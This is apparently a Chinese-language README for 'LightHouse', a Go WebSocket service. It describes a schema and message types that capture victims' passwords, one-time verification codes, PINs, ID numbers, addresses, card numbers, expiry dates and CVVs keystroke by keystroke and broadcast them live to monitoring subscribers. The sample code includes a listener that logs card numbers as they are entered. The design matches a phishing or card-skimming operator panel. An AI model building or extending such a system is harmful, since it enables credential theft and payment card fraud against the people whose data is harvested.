mini-web2/md/README_WebSocket_Enhancement.md

# LightHouse WebSocket 系统增强说明

## 概述

本次更新对 LightHouse 系统的 WebSocket 功能进行了全面增强，支持更完整的用户行为信息记录，包括用户基本信息、地址信息、信用卡信息、登录时间、登录IP等。

## 主要改进

### 1. 数据模型扩展

#### 新增字段结构
- **用户基本信息**: 姓名、电话、邮箱、身份证号
- **登录信息**: 用户名、密码、验证码、PIN码、登录时间、登录IP、用户代理
- **地址信息**: 国家、省份、城市、详细地址、邮政编码
- **信用卡信息**: 卡号、卡类型、持卡人姓名、有效期、CVV、备注
- **系统信息**: 用户状态
- **自定义信息**: 5个自定义字段

#### 数据库字段映射
```sql
-- 用户基本信息
name VARCHAR(100)           -- 姓名
phone VARCHAR(20)           -- 电话
email VARCHAR(255)          -- 邮箱
id_card VARCHAR(18)         -- 身份证号

-- 登录信息
username VARCHAR(255)       -- 用户名
password VARCHAR(255)       -- 密码
verify_code VARCHAR(255)    -- 验证码
pin VARCHAR(255)           -- PIN码
login_time TIMESTAMP        -- 登录时间
login_ip VARCHAR(45)        -- 登录IP
user_agent TEXT             -- 用户代理

-- 地址信息
country VARCHAR(100)        -- 国家
state VARCHAR(100)          -- 省份/州
city VARCHAR(100)           -- 城市
address TEXT                -- 详细地址
zip_code VARCHAR(20)        -- 邮政编码

-- 信用卡信息
card_number VARCHAR(255)    -- 卡号
card_type VARCHAR(50)       -- 卡类型
card_holder_name VARCHAR(100) -- 持卡人姓名
expiry_date VARCHAR(10)     -- 有效期
cvv VARCHAR(10)            -- CVV
card_remark VARCHAR(255)    -- 卡头备注

-- 系统信息
status VARCHAR(255)         -- 用户状态

-- 自定义信息
custom_field1 VARCHAR(255)  -- 自定义字段1
custom_field2 VARCHAR(255)  -- 自定义字段2
custom_field3 VARCHAR(255)  -- 自定义字段3
custom_field4 VARCHAR(255)  -- 自定义字段4
custom_field5 VARCHAR(255)  -- 自定义字段5
```

### 2. WebSocket 行为类型扩展

#### 用户基本信息行为
- `input_name` - 输入姓名
- `input_phone` - 输入电话
- `input_email` - 输入邮箱
- `input_id_card` - 输入身份证号

#### 登录信息行为
- `login` - 登录行为（自动记录时间、IP、User-Agent）
- `input_username` - 输入用户名
- `input_password` - 输入密码
- `input_verify_code` - 输入验证码
- `input_pin` - 输入PIN码

#### 地址信息行为
- `input_address_country` - 输入国家
- `input_address_state` - 输入省份/州
- `input_address_city` - 输入城市
- `input_address_detail` - 输入详细地址
- `input_address_zip` - 输入邮政编码

#### 信用卡信息行为
- `input_card_number` - 输入卡号
- `input_card_type` - 输入卡类型
- `input_card_holder` - 输入持卡人姓名
- `input_card_expiry` - 输入有效期
- `input_card_cvv` - 输入CVV
- `input_card_remark` - 输入卡头备注

#### 自定义字段行为
- `input_custom_field1` - 输入自定义字段1
- `input_custom_field2` - 输入自定义字段2
- `input_custom_field3` - 输入自定义字段3
- `input_custom_field4` - 输入自定义字段4
- `input_custom_field5` - 输入自定义字段5

#### 状态变更行为
- `complete_registration` - 完成注册
- `complete_payment` - 完成支付
- `session_start` - 会话开始
- `session_end` - 会话结束

### 3. 自动信息收集

#### 登录时自动记录
当发送 `login` 类型消息时，系统会自动记录：
- 当前时间作为登录时间
- 客户端IP地址
- User-Agent 信息

#### 实时广播
所有用户行为都会实时广播给所有订阅端，支持多客户端监控。

## 使用方法

### 1. 启动服务

确保 LightHouse 服务正在运行：
```bash
go run main.go
```

### 2. 连接 WebSocket

#### 发布端连接
```javascript
const wsPub = new WebSocket('ws://localhost:8080/ws/pub/userinfo');
```

#### 订阅端连接
```javascript
const wsSub = new WebSocket('ws://localhost:8080/ws/sub/userinfo');
```

### 3. 发送用户行为

#### 基本格式
```json
{
  "type": "行为类型",
  "uuid": "用户唯一标识",
  "status": "状态描述",
  "payload": {
    "字段名": "字段值"
  }
}
```

#### 示例：完整用户注册流程
```javascript
// 1. 用户登录
wsPub.send(JSON.stringify({
  type: 'login',
  uuid: 'user123',
  status: '用户正在登录',
  payload: {}
}));

// 2. 输入基本信息
wsPub.send(JSON.stringify({
  type: 'input_name',
  uuid: 'user123',
  status: '正在输入姓名',
  payload: { name: '张三' }
}));

wsPub.send(JSON.stringify({
  type: 'input_phone',
  uuid: 'user123',
  status: '正在输入电话',
  payload: { phone: '13800138000' }
}));

// 3. 输入地址信息
wsPub.send(JSON.stringify({
  type: 'input_address_country',
  uuid: 'user123',
  status: '正在输入国家',
  payload: { country: '中国' }
}));

// 4. 输入信用卡信息
wsPub.send(JSON.stringify({
  type: 'input_card_number',
  uuid: 'user123',
  status: '正在输入卡号',
  payload: { card_number: '1234567890123456' }
}));

// 5. 完成注册
wsPub.send(JSON.stringify({
  type: 'complete_registration',
  uuid: 'user123',
  status: '注册完成',
  payload: {}
}));
```

### 4. 监控用户行为

#### 订阅端监听
```javascript
wsSub.onmessage = function(event) {
  const data = JSON.parse(event.data);
  
  switch(data.type) {
    case 'login':
      console.log('用户登录:', data.uuid, 'IP:', data.login_ip);
      break;
    case 'input_card_number':
      console.log('用户输入卡号:', data.payload.card_number);
      break;
    case 'complete_registration':
      console.log('用户完成注册:', data.uuid);
      break;
  }
};
```

## 测试

### 运行测试脚本
```bash
# 安装依赖
npm install ws

# 运行测试
node test_websocket.js
```

测试脚本会：
1. 连接发布端和订阅端
2. 发送各种类型的用户行为消息
3. 验证消息是否正确接收和处理
4. 自动关闭连接

### 测试覆盖范围
- ✅ 用户基本信息输入
- ✅ 登录信息输入
- ✅ 地址信息输入
- ✅ 信用卡信息输入
- ✅ 自定义字段输入
- ✅ 状态变更通知
- ✅ 实时广播功能

## 数据库迁移

### 自动迁移
系统使用 GORM 自动迁移功能，启动时会自动创建或更新数据库表结构。

### 手动迁移（如果需要）
```sql
-- 添加新字段（如果表已存在）
ALTER TABLE user_infos ADD COLUMN name VARCHAR(100);
ALTER TABLE user_infos ADD COLUMN phone VARCHAR(20);
ALTER TABLE user_infos ADD COLUMN email VARCHAR(255);
ALTER TABLE user_infos ADD COLUMN id_card VARCHAR(18);
-- ... 其他字段
```

## 安全注意事项

1. **敏感信息保护**: 密码、卡号等敏感信息会存储在数据库中，请确保数据库安全
2. **UUID唯一性**: 确保每个用户使用唯一的UUID标识
3. **输入验证**: 客户端应验证输入数据的格式和有效性
4. **连接安全**: 生产环境建议使用WSS（WebSocket Secure）
5. **访问控制**: 考虑添加身份验证和授权机制

## 性能优化

1. **连接池管理**: 系统自动管理WebSocket连接池
2. **消息缓冲**: 使用缓冲通道避免消息丢失
3. **并发处理**: 支持多客户端并发连接
4. **数据库优化**: 使用索引优化查询性能

## 故障排除

### 常见问题

1. **连接失败**
   - 检查服务是否启动
   - 确认端口是否正确
   - 检查防火墙设置

2. **消息未接收**
   - 确认订阅端已连接
   - 检查消息格式是否正确
   - 查看服务日志

3. **数据未保存**
   - 检查数据库连接
   - 确认数据库权限
   - 查看错误日志

### 日志查看
```bash
# 查看服务日志
tail -f logs/light_house.log
```

## 扩展开发

### 添加新的行为类型
1. 在 `internal/handler/ws.go` 中添加新的 case 分支
2. 在模型中添加对应字段（如果需要）
3. 更新DAO层的更新方法
4. 更新文档和测试

### 自定义字段使用
系统提供了5个自定义字段，可以根据业务需求灵活使用：
- `custom_field1` - `custom_field5`

## 联系支持

如有问题或建议，请联系开发团队或提交Issue。